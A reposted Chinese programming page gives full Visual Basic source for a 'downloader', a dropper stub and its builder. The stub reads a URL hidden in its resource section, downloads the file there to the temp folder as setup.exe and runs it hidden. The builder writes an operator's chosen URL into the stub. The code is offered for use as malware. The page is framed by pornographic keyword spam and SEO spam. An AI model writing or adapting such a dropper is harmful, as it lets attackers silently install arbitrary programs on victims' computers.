国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > 綜合 > 正文

VB 編寫下載者 把下載信息存在資源文件里。。

2024-07-21 02:20:32
字體:
來源:轉載
供稿:網友


 

以下就是服務端

 private declare function gettemppath lib "kernel32" alias "gettemppatha" _   '取得temp目錄的api
        (byval nbufferlength as long, byval lpbuffer as string) as long

private declare function urldownloadtofile lib "urlmon" alias "urldownloadtofilea" (byval pcaller as long, byval szurl as string, byval szfilename as string, byval dwreserved as long, byval lpfncb as long) as long'下在文件的api

public sub main()
dim sourceurl as string
dim chen() as byte
dim targetfile as string
dim temppath as string
dim len5 as long

   dim i as long
  
    chen = loadresdata("http", "圖標") '取出數據
   for i = 0 to 184  '還原為字符
    
  if chen(i) <> 0 and chen(i) <> 32 then
   sourceurl = sourceurl + chr(chen(i))
  
  end if
  next
   temppath = string(255, 0)
       len5 = gettemppath(256, temppath)
        temppath = left(temppath, len5)
 
         targetfile = temppath + "setup.exe"  ' 保存路徑
    hfile = urldownloadtofile(0&, sourceurl, targetfile, 0&, 0&)
if hfile = 0 then
shell targetfile, vbhide
end if

end sub

保存為bas 文件就可以了

控制臺文件需要對資源文件進行讀寫

用到以下幾個api

public declare function beginupdateresource lib "kernel32" alias "beginupdateresourcea" (byval pfilename as string, byval bdeleteexistingresources as long) as long

public declare function updateresource lib "kernel32" alias "updateresourcea" (byval hupdate as long, byval lptype as string, byval lpname as string, byval wlanguage as long, lpdata as any, byval cbdata as long) as long

public declare function endupdateresource lib "kernel32" alias "endupdateresourcea" (byval hupdate as long, byval fdiscard as long) as long

這幾個可以把它放到一個bas文件中

以下就是控制臺的代碼


private sub command1_click()
  dim bwenjian as long
  dim wenjian as long
  dim ewenjian as long
  dim app2() as byte
 
   dim astr as string * 200
  
   
  app2 = loadresdata("exe", "exefile")
    if dir(text1.text) <> "" then
     
      msgbox text1.text + "已存在"
     
      exit sub
   
    end if
  
   open text1.text for binary as #1
     
        put #1, , app2()
     
        close #1
    
    
   
   astr = left$(text2.text, 200)
      
    bwenjian = beginupdateresource(text1.text, false)' 開始一個添加資源的過程
    
    wenjian = updateresource(bwenjian, "圖標", "http", 2052, byval astr, 200) ' 添加資源
   
   ewenjian = endupdateresource(bwenjian, false) ' 結束添加資源過程

end sub

private sub form_load()
text1.text = app.path & "/xz.exe" '  默認的服務端文件名
end sub

當然你要把 服務端的exe導入里面存為資源

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 封开县| 麦盖提县| 自贡市| 呼伦贝尔市| 酒泉市| 潜山县| 始兴县| 仪征市| 绵竹市| 凌海市| 岑溪市| 澜沧| 阜新| 叙永县| 富阳市| 淳安县| 麟游县| 湘潭县| 聂荣县| 遂平县| 通城县| 南投市| 金乡县| 永清县| 金沙县| 微博| 阜南县| 开江县| 延边| 洛南县| 白银市| 车险| 江华| 都昌县| 扎兰屯市| 任丘市| 邵东县| 高青县| 长白| 米林县| 体育|